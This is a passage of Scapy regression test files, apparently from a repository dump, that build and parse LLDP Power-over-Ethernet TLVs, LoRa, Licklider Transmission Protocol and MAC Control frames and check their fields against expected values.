frm[LLDPDUPowerViaMDI]\n# Legacy PoE TLV is not supported by WireShark\nassert poe_layer\nassert poe_layer._type == 127\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.type\").split(',')[-2], 0) == 127\nassert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3\nassert int(check_tshark(frm, \"lldp\", \"lldp.orgtlv.oui\").split(',')[-1], 0) == 4623\nassert poe_layer.subtype == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.subtype\"), 0) == 0x02\nassert poe_layer._length == 7\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.len\").split(',')[-2], 0) == 7\nassert poe_layer.MDI_power_support == 6\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_support\"), 0) == 6\nassert poe_layer.PSE_power_pair == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pse_pair\"), 0) == 2\nassert poe_layer.power_class == 4\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_class\"), 0) == 4\n\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n            LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n            LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n            LLDPDUTimeToLive()/\\\n            LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                              subtype=0x42,\n                                              data=b'FooBar'*5\n                                              )\n# invalid length\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDI(_length=8)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidLengthField:\n    pass\n\n= Power via MDI with DDL classification extension tests\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                        subtype=0x42,\n                                        data=b'FooBar'*5\n                                        )/\\\n      LLDPDUPowerViaMDIDDL(MDI_power_support='PSE pairs controlled+PSE MDI power enabled',\n                           PSE_power_pair='alt A',\n                           power_class='class 4 and above',\n\t\t\t   power_type_no='type 2',\n                           power_type_dir='PSE',\n\t\t\t   power_source='backup source',\n\t\t\t   power_prio='high',\n\t\t\t   PD_requested_power=2.21111,\n\t\t\t   PSE_allocated_power=1.521212121)/\\\n      LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\npoe_layer = frm[LLDPDUPowerViaMDIDDL]\nassert poe_layer\nassert poe_layer._type == 127\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.type\").split(',')[-2], 0) == 127\nassert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3\nassert int(check_tshark(frm, \"lldp\", \"lldp.orgtlv.oui\").split(',')[-1], 0) == 4623\nassert poe_layer.subtype == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.subtype\"), 0) == 0x02\nassert poe_layer._length == 12\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.len\").split(',')[-2], 0) == 12\nassert poe_layer.MDI_power_support == 12\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_support\"), 0) == 12\nassert poe_layer.PSE_power_pair == 1\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pse_pair\"), 0) == 1\n# NOTE: wireshark mixes power_prio and PD_4PID fields. Result will be incerrect if PD_4PID==1\nassert poe_layer.power_class == 5\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_class\"), 0) == 5\nassert poe_layer.power_type_no == 0\nassert poe_layer.power_type_dir == 0\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_type\"), 0) == 0\nassert poe_layer.power_source == 0b10\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_source\"), 0) == 0b10\nassert poe_layer.power_prio == 0b10\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_priority\"), 0) == 0b10\nassert poe_layer.PD_requested_power == 2.2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pde_requested\"), 0) == 22\nassert poe_layer.PSE_allocated_power == 1.5\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pse_allocated\"), 0) == 15\n\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n            LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n            LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n            LLDPDUTimeToLive()/\\\n            LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                              subtype=0x42,\n                                              data=b'FooBar'*5\n                                              )\n# invalid length\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIDDL(_length=8)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidLengthField:\n    pass\n\n# invalid power\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIDDL(PD_requested_power=100)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIDDL(PSE_allocated_power=100)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n= Power via MDI with DDL classification and Type 3 and 4 extensions tests\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n      LLDPDUTimeToLive()/\\\n      LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                        subtype=0x42,\n                                        data=b'FooBar'*5\n                                        )/\\\n      LLDPDUPowerViaMDIType34(MDI_power_support='port class PSE+PSE pairs controlled+PSE MDI power enabled',\n                              PSE_power_pair='alt B',\n                              power_class='class 2',\n                              power_type_no='type 1',\n                              power_type_dir='PD',\n                              power_source='PSE and local',\n                              PD_4PID='not supported',\n                              power_prio='low',\n                              PD_requested_power=12.21111,\n                              PSE_allocated_power=11.521212121,\n                              PD_requested_power_mode_A=2.3,\n                              PD_requested_power_mode_B=3.3,\n                              PD_allocated_power_alt_A=3.1,\n                              PD_allocated_power_alt_B=0.5,\n                              PSE_powering_status='4-pair powering single-signature PD',\n                              PD_powered_status='powered single-signature PD',\n                              PD_power_pair_ext='both alts',\n                              dual_signature_class_mode_A='class 4',\n                              dual_signature_class_mode_B='class 2',\n                              power_class_ext='dual-signature pd',\n                              power_type_ext='type 4 single-signature PD',\n                              PD_load='dual-signature and electrically isolated',\n                              PSE_max_available_power=33.333,\n                              autoclass='autoclass completed+autoclass request',\n                              power_down_req='power down',\n                              power_down_time=123)/\\\n    LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\npoe_layer = frm[LLDPDUPowerViaMDIType34]\nassert poe_layer\nassert poe_layer._type == 127\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.type\").split(',')[-2], 0) == 127\nassert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3\nassert int(check_tshark(frm, \"lldp\", \"lldp.orgtlv.oui\").split(',')[-1], 0) == 4623\nassert poe_layer.subtype == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.subtype\"), 0) == 0x02\nassert poe_layer._length == 29\nassert int(check_tshark(frm, \"lldp\", \"lldp.tlv.len\").split(',')[-2], 0) == 29\nassert poe_layer.MDI_power_support == 13\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_support\"), 0) == 13\nassert poe_layer.PSE_power_pair == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pse_pair\"), 0) == 2\n# NOTE: wireshark mixes power_prio and PD_4PID fields. Result will be incerrect if PD_4PID==1\nassert poe_layer.PD_4PID == 0\nassert poe_layer.power_class == 3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_class\"), 0) == 3\nassert poe_layer.power_type_no == 1\nassert poe_layer.power_type_dir == 1\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_type\"), 0) == 3\nassert poe_layer.power_source == 0b11\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_source\"), 0) == 0b11\nassert poe_layer.power_prio == 0b11\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_power_priority\"), 0) == 0b11\nassert poe_layer.PD_requested_power == 12.2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pde_requested\"), 0) == 122\nassert poe_layer.PSE_allocated_power == 11.5\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.mdi_pse_allocated\"), 0) == 115\nassert poe_layer.PD_requested_power_mode_A == 2.3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pd_requested_power_value_mode_a\"), 0) == 23\nassert poe_layer.PD_requested_power_mode_B == 3.3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pd_requested_power_value_mode_b\"), 0) == 33\nassert poe_layer.PD_allocated_power_alt_A == 3.1\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pse_allocated_power_value_alt_a\"), 0) == 31\nassert poe_layer.PD_allocated_power_alt_B == 0.5\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pse_allocated_power_value_alt_b\"), 0) == 5\nassert poe_layer.PSE_powering_status == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_pse_powering_status\"), 0) == 2\nassert poe_layer.PD_powered_status == 1\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_pd_powered_status\"), 0) == 1\nassert poe_layer.PD_power_pair_ext == 3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_pse_power_pairs_ext\"), 0) == 3\nassert poe_layer.dual_signature_class_mode_A == 4\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pwr_class_ext_a\"), 0) == 4\nassert poe_layer.dual_signature_class_mode_B == 2\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_ds_pwr_class_ext_b\"), 0) == 2\nassert poe_layer.power_class_ext == 15\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_pwr_class_ext_\"), 0) == 15\nassert poe_layer.power_type_ext == 4\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_power_type_ext\"), 0) == 4\nassert poe_layer.PD_load == 1\nassert poe_layer.PSE_max_available_power == 33.3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_pse_maximum_available_power_value\"), 0) == 333\nassert poe_layer.autoclass == 3\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_autoclass\"), 0) == 3\nassert poe_layer.power_down_req == 0x1d\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_power_down_request\"), 0) == 0x1d\nassert poe_layer.power_down_time == 123\nassert int(check_tshark(frm, \"lldp\", \"lldp.ieee.802_3.bt_power_down_time\"), 0) == 123\n\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n            LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n            LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n            LLDPDUTimeToLive()/\\\n            LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                              subtype=0x42,\n                                              data=b'FooBar'*5\n                                              )\n# invalid length\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(_length=8)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidLengthField:\n    pass\n\n# invalid power\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PD_requested_power=100)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PSE_allocated_power=100)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PD_requested_power_mode_A=50)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PD_requested_power_mode_B=50)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PD_allocated_power_alt_A=50)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PD_allocated_power_alt_B=50)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(PSE_max_available_power=100)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n# invalid time\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIType34(power_down_time=(1<<18))/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n= Power via MDI measurements tests\n\nimport struct\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n    LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n    LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n    LLDPDUTimeToLive()/\\\n    LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                      subtype=0x42,\n                                      data=b'FooBar'*5\n                                      )/\\\n    LLDPDUPowerViaMDIMeasure(support='power+current',\n                             source='mode B',\n                             request='energy+voltage+current',\n                             valid='power',\n                             voltage_uncertainty=52.25,\n                             current_uncertainty=3.211,\n                             power_uncertainty=140,\n                             energy_uncertainty=2600,\n                             voltage_measurement=22.123,\n                             current_measurement=3.2121,\n                             power_measurement=123.12,\n                             energy_measurement=21123400,\n                             power_price_index='not available')/\\\n    LLDPDUEndOfLLDPDU()\n\nfrm = frm.build()\nfrm = Ether(frm)\npoe_layer = frm[LLDPDUPowerViaMDIMeasure]\npoe_layer_raw = raw(poe_layer)\n\n# PoE measure TLV is not supported by WireShark\n\nassert poe_layer\nassert poe_layer._type == 127\nassert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3\nassert poe_layer.subtype == 8\nassert poe_layer._length == 26\nassert poe_layer.support == 0b0110\nassert poe_layer.source == 0b10\nassert poe_layer.request == 0b1101\nassert poe_layer.valid == 0b0010\nassert poe_layer.voltage_uncertainty == 52.25\nassert struct.unpack(\">H\", poe_layer_raw[8:10])[0] == 52250\nassert poe_layer.current_uncertainty == 3.211\nassert struct.unpack(\">H\", poe_layer_raw[10:12])[0] == 32110\nassert poe_layer.power_uncertainty == 140\nassert struct.unpack(\">H\", poe_layer_raw[12:14])[0] == 14000\nassert poe_layer.energy_uncertainty == 2600\nassert struct.unpack(\">H\", poe_layer_raw[14:16])[0] == 26\nassert poe_layer.voltage_measurement == 22.123\nassert struct.unpack(\">H\", poe_layer_raw[16:18])[0] == 22123\nassert poe_layer.current_measurement == 3.2121\nassert struct.unpack(\">H\", poe_layer_raw[18:20])[0] == 32121\nassert poe_layer.power_measurement == 123.12\nassert struct.unpack(\">H\", poe_layer_raw[20:22])[0] == 12312\nassert poe_layer.energy_measurement == 21123400\nassert struct.unpack(\">I\", poe_layer_raw[22:26])[0] == 211234\nassert poe_layer.power_price_index == 0xffff\n\nfrm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\\\n            LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\\x06\\x05\\x04\\x03\\x02\\x01')/\\\n            LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\\x01\\x02\\x03\\x04\\x05\\x06')/\\\n            LLDPDUTimeToLive()/\\\n            LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO,\n                                              subtype=0x42,\n                                              data=b'FooBar'*5\n                                              )\n# invalid length\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(_length=8)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidLengthField:\n    pass\n\n# invalid voltage\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(voltage_uncertainty=500)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(voltage_measurement=500)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n# invalid current\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(current_uncertainty=500)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(current_measurement=500)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n# invalid energy\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(energy_uncertainty=66000000)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n# invalid power\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(power_uncertainty=5000)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(power_measurement=5000)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n\n# invalid power price index\ntry:\n    Ether((frm/\n           LLDPDUPowerViaMDIMeasure(power_price_index=150)/\n           LLDPDUEndOfLLDPDU()).build())\n    assert False\nexcept LLDPInvalidFieldValue:\n    pass\n"
  },
  {
    "path": "test/contrib/loraphy2wan.uts",
    "content": "% Regression tests for Scapy\n\n+Syntax check\n= Import the loraphy2wan layer\n\nfrom scapy.contrib.loraphy2wan import *\nfrom scapy.compat import raw\n\n# LoRa PHY to WAN\n\n############\n############\n+ Basic tests\n\n* Those test are here mainly to check nothing has been broken\n\n= Packet decoding\n~ field\n\np = b'\\x00\\x00\\x00\\x00lovecafemeeetoo\\x00iiS\\x02LI'\npkt = LoRa(p)\nassert pkt.Join_Request_Field[0].DevEUI == b'meeetoo\\x00'\nassert pkt.Join_Request_Field[0].DevNonce == 26985\n\np = b'\\x0f0P@\\xad\\x15\\x00`\\x80\\x06\\x00\\t\\xca\\xfe\\x0c\\x1d\\x8d\\x04\\\\\\xb5'\npkt = LoRa(p)\nassert pkt.MType == 2\nassert pkt.DataPayload == b'\\xca\\xfe'\nassert pkt.FCnt == 6\nassert pkt.FPort == 9\nassert pkt.FCtrl[0].ADR == 1\nassert pkt.DevAddr[0].NwkID == 0xad\nassert pkt.DevAddr[0].NwkAddr == 0x600015\n\np = b'\\x0f0P\\x80\\xad\\x15\\x00`\\x00\\x01\\x00\\t\\xca\\xfe:\\x98\\x89|\\x8f\\xd4'\npkt = LoRa(p)\nassert pkt.MType == 4\n\n= Decoding an encrypted JA packet\n\nLoRa.encrypted = True\np = b'\\x00\\x00\\x00 \\x086\\xe2\\x87\\xa9\\x80\\\\\\xb7\\xee\\x9e_\\xff|\\x9e\\xe9z'\npkt = LoRa(p)\nassert pkt.Join_Accept_Encrypted == b'\\x086\\xe2\\x87\\xa9\\x80\\\\\\xb7\\xee\\x9e_\\xff|\\x9e\\xe9z'\n\n= Packet crafting: generating an unencrypted JA frame\n\nja = Join_Accept()\nja.JoinAppNonce=0x6fe14a\nja.NetID = 0x10203\nja.DevAddr = 0x68e8cb1\nassert raw(ja) == b'J\\xe1o\\x03\\x02\\x01\\xb1\\x8c\\x8e\\x06\\x00\\x00'\n\n= Generating an unencrypted LoRa JA packet\n\nLoRa.encrypted = False\npkt = LoRa(MType=0b001)\npkt.Join_Accept_Field = [ja]\nassert raw(pkt) == b'\\x00\\x00\\x00 J\\xe1o\\x03\\x02\\x01\\xb1\\x8c\\x8e\\x06\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Parsing Piggy back commands\n\np = b'\\r0\\xc0\\x80\\xad\\x15\\x00`\\x01\\x01\\x00\\x02\\xc0\\xe3N\\xb7\\xc7\\xae'\npkt = LoRa(p)\nassert pkt.FOpts_up[0].CID == 2\n"
  },
  {
    "path": "test/contrib/ltp.uts",
    "content": "% Licklider Transmission Protocol tests\n\n############\n############\n+ Licklider Transmission Protocol (LTP) basic tests\n\n~ TODO: no pcap have been found on Internet. Check that scapy correctly decode those too\n\n= Build packets & dissect\n\nload_contrib(\"ltp\")\npkt = Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IP(src=\"192.168.0.1\", dst=\"192.168.0.2\")/UDP()/LTP(flags=8,\\\n        SessionOriginator=2,\n        SessionNumber=113,\n        ReportCheckpointSerialNo=12,\n        ReportUpperBound=0,\n        ReportLowerBound=5,\n        ReportReceptionClaims=[\n            LTPReceptionClaim(ReceptionClaimOffset=1, ReceptionClaimLength=4),\n            LTPReceptionClaim(ReceptionClaimOffset=2, ReceptionClaimLength=3),\n        ],\n        HeaderExtensions=[\n            LTPex(ExTag=1, ExData=b\"\\x00\"),\n        ],\n        TrailerExtensions=[\n            LTPex(ExTag=0, ExData=b\"\\x01\"),\n            LTPex(ExTag=1, ExData=b\"\\x02\"),\n        ])\n\npkt = Ether(raw(pkt))\nassert LTP in pkt\nassert pkt[LTP].ReportLowerBound == 5\nassert pkt[LTP].ReportCheckpointSerialNo == 12\nassert pkt[LTP].ReportReceptionClaims[0].ReceptionClaimLength == 4\nassert pkt[LTP].ReportReceptionClaims[1].ReceptionClaimOffset == 2\nassert pkt[LTP].HeaderExtensions[0].ExTag == 1\nassert pkt[LTP].HeaderExtensions[0].ExData == b\"\\x00\"\n\ns = pkt.summary()\ns\nassert s.replace(\"ltp_deepspace\", \"1113\") == 'Ether / IP / UDP 192.168.0.1:1113 > 192.168.0.2:1113 / LTP 113'"
  },
  {
    "path": "test/contrib/mac_control.uts",
    "content": "% MACControl test campaign\n\n#\n# execute test:\n# $ test/run_tests -P \"load_contrib('mac_control')\" -t test/contrib/mac_control.uts\n#\n\n+ Basic layer handling\n\n= pause frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n      MACControlPause(pause_time=0x1234)\n\nfrm = Ether(frm.do_build())\n\npause_layer  = frm[MACControlPause]\nassert pause_layer.pause_time == 0x1234\nassert pause_layer.get_pause_time(ETHER_SPEED_MBIT_10) == 0.238592\n\n= gate frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n      MACControlGate(timestamp=0x12345678)\nfrm = Ether(frm.do_build())\n\ngate_layer  = frm[MACControlGate]\nassert gate_layer.timestamp == 0x12345678\n\n= report frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n      MACControlReport(timestamp=0x12345678, pending_grants=0x23)\n\nfrm = Ether(frm.do_build())\n\nreport_layer = frm[MACControlReport]\n\nassert report_layer.timestamp == 0x12345678\nassert report_layer.pending_grants == 0x23\n\n= report frame flags (generic for all other register frame types)\n\nfor flag in MACControl.REGISTER_FLAGS:\n      frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \\\n            MACControlReport(timestamp=0x12345678, flags=flag)\n      frm = Ether(frm.do_build())\n      report_layer = frm[MACControlReport]\n      assert report_layer.flags == flag\n\n= register_req frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n            MACControlRegisterReq(timestamp=0x87654321,\n                                  echoed_pending_grants=0x12,\n                                  sync_time=0x3344,\n                                  assigned_port=0x7766)\n\nfrm = Ether(frm.do_build())\nregister_req_layer = frm[MACControlRegisterReq]\n\nassert register_req_layer.timestamp == 0x87654321\nassert (register_req_layer.echoed_pending_grants == 0x12)\nassert (register_req_layer.sync_time == 0x3344)\nassert (register_req_layer.assigned_port == 0x7766)\n\n= register frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n            MACControlRegister(timestamp=0x11223344,\n                               echoed_assigned_port=0x2277,\n                               echoed_sync_time=0x3399)\n\nfrm = Ether(frm.do_build())\nregister_layer = frm[MACControlRegister]\nassert register_layer.timestamp == 0x11223344\nassert register_layer.echoed_assigned_port == 0x2277\nassert register_layer.echoed_sync_time == 0x3399\n\n= register_ack frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\\\n            MACControlRegisterAck(timestamp=0x11223344,\n                                  echoed_assigned_port=0x2277,\n                                  echoed_sync_time=0x3399)\n\nfrm = Ether(frm.do_build())\nregister_ack_layer = frm[MACControlRegisterAck]\nassert register_ack_layer.timestamp == 0x11223344\nassert register_ack_layer.echoed_assigned_port == 0x2277\nassert register_ack_layer.echoed_sync_time == 0x3399\n\n= class based flow control frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/ \\\n      MACControlClassBasedFlowControl(c0_enabled=1, c0_pause_time=0x4321,\n                                      c5_enabled=1, c5_pause_time=0x1234)\n\nfrm = Ether(frm.do_build())\ncbfc_layer = frm[MACControlClassBasedFlowControl]\nassert cbfc_layer.c0_enabled\nassert cbfc_layer.c0_pause_time == 0x4321\nassert cbfc_layer.c5_enabled\nassert cbfc_layer.c5_pause_time == 0x1234\nassert not cbfc_layer.c1_enabled\nassert cbfc_layer.c1_pause_time == 0\nassert not cbfc_layer.c7_enabled\nassert cbfc_layer.c7_pause_time == 0\nassert cbfc_layer._reserved == 0\n\n+ test padding\n\n= naked frame\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \\\n            MACControlRegisterAck(timestamp=0x12345678)\n\nfrm = frm.do_build()\nassert len(frm) == 60\n\n= single vlan tag\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \\\n            Dot1Q(vlan=42) / \\\n            MACControlRegisterAck(timestamp=0x12345678)\n\nfrm = frm.do_build()\nassert len(frm) == 60\n\n= QinQ\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \\\n            Dot1Q(vlan=42) / \\\n            Dot1Q(vlan=42) / \\\n            MACControlRegisterAck(timestamp=0x12345678)\n\nfrm = frm.do_build()\nassert len(frm) == 60\n\n= hand craftet payload (disabled auto padding)\n\nfrm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \\\n            MACControlRegisterAck(timestamp=0x12345678) / \\\n            Raw(b'may pass devices')\n\nfrm = Ether(frm.do_build())\nraw_layer = frm[Raw]\nassert raw_layer.load == b'may pass devices'\nassert len(frm) < 64\n"
  },
  {
    "path": "test/contrib/macsec.uts",
